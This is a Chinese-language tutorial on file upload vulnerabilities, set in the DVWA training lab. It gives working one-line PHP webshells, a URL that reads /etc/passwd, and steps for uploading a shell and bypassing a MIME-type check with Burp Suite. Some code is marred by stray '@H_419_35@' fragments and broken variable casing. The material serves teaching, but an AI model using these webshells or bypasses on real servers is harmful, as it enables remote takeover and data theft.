文件上传漏洞就是在web前端对用户上传的文件没有做过滤,攻击者利用此漏洞上传webshell,因此可以远程 *** 控服务器。
webshell小马:一句话木马也称为小马,即整个shell代码只有一行,一般是系统执行函数
大马:代码量和功能比小马多,一般都会进行二次编码加密,防止被安全防火墙/入侵系统检测到
1 #eval 使用PHP函数,例如PHPinfo();2 <?PHP eval(@H_419_35@$_REQUEST[‘cmd‘]);?>3 http://192.168.152.147/dvwa/Hackable/uploads/webshell2.PHP?cmd=PHPinfo();
1 #system 使用linux系统命令,例如ls,cp,rm2 <?PHP system(@H_419_35@$_request[‘cmd‘]);?>3 http://192.168.152.147/dvwa/Hackable/uploads/webshell3.PHP?cmd=cat /etc/passwd中国菜刀
说明request是在网页端输入变量访问,post则是使用中国菜刀之类的工具连接,是C/S架构
1 <?PHP @eval(@H_419_35@$_post[‘cmd‘]);?>环境部署
本实例使用DVWA作为靶场,owasp官网已经将该环境打包成ova文件,直接下载安装即可。
part 1。将dvwa安全级别设置为low。该级别对于上传的文件没有做限制,可以上传任意的文件。
1 <?PHP if (isset(@H_419_35@$_POST[‘Upload‘])) { @H_419_35@$target_path = DVWA_WEB_PAGE_TO_ROOT."Hackable/uploads/"; @H_419_35@$target_path = @H_419_35@$target_path . basename(@H_419_35@$_fileS[‘uploaded‘][‘name‘]); @H_419_35@$uploaded_name = @H_419_35@$_fileS[‘uploaded‘][‘name‘]; @H_419_35@$uploaded_type = @H_419_35@$_fileS[‘uploaded‘][‘type‘]; @H_419_35@$uploaded_size = @H_419_35@$_fileS[‘uploaded‘][‘size‘]; if ((@H_419_35@$uploaded_type == "image/jpeg") && (@H_419_35@$uploaded_size < 100000)){ if(!move_uploaded_file(@H_419_35@$_fileS[‘uploaded‘][‘tmp_name‘],@H_419_35@$target_path)) { echo ‘<pre>‘; echo ‘Your image was not uploaded.‘; echo ‘</pre>‘; } else { echo ‘<pre>‘; echo @H_419_35@$target_path . ‘ succesfully uploaded!‘; echo ‘</pre>‘; } } else{ echo ‘<pre>Your image was not uploaded.</pre>‘; } } ?>
1、访问https://192.168.152.147/dvwa/vulnerabilities/upload/,选择【upload】,上传一句话木马。上传成功后提示文件上传成功并显示文件路径
1 <?PHP @eval(@H_419_35@$_POST[‘caIDao‘]);?>
2、使用中国菜刀连接,如下图所示,输入一句话木马中的密码’caIDao’
右键选择文件管理,即可进入网站文件管理后台。
part 2。将安全级别设置成medium。该级别对于上传的文件做了MIME(多用途互联网邮件扩展)限制,只能上传在Content-Type为image/jpeg类型文件。当上传PHP脚本文件时,浏览器将拒绝上传此文件到后台服务器,因此需要使用burpsuite来绕过此限制。
查看文件源码。
1 <?PHP 2 if (isset(@H_419_35@$_POST[‘Upload‘])) { 3 4 @H_419_35@$target_path = DVWA_WEB_PAGE_TO_ROOT."Hackable/uploads/"; 5 @H_419_35@$target_path = @H_419_35@$target_path . basename(@H_419_35@$_fileS[‘uploaded‘][‘name‘]); 6 @H_419_35@$uploaded_name = @H_419_35@$_fileS[‘uploaded‘][‘name‘]; 7 @H_419_35@$uploaded_type = @H_419_35@$_fileS[‘uploaded‘][‘type‘]; 8 @H_419_35@$uploaded_size = @H_419_35@$_fileS[‘uploaded‘][‘size‘]; 9 10 if ((@H_419_35@$uploaded_type == "image/jpeg") && (@H_419_35@$uploaded_size < 100000)){11 12 13 if(!move_uploaded_file(@H_419_35@$_fileS[‘uploaded‘][‘tmp_name‘],@H_419_35@$target_path)) {14 15 echo ‘<pre>‘;16 echo ‘Your image was not uploaded.‘;17 echo ‘</pre>‘;18 19 } else {20 21 echo ‘<pre>‘;22 echo @H_419_35@$target_path . ‘ succesfully uploaded!‘;23 echo ‘</pre>‘;24 25 }26 }27 else{28 echo ‘<pre>Your image was not uploaded.</pre>‘;29 }30 }31 ?>
此处省去burpsuite的基本设置。上传文件前使用burp拦截数据包,此content-type改为image/jpeg,可以绕过此限制,将PHP文件上传到后台服务器,如图所示
part3,将安全级别设置为high,此级别将会对上传的文件后缀名进行检验。
总结以上是内存溢出为你收集整理的文件上传漏洞全部内容,希望文章能够帮你解决文件上传漏洞所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)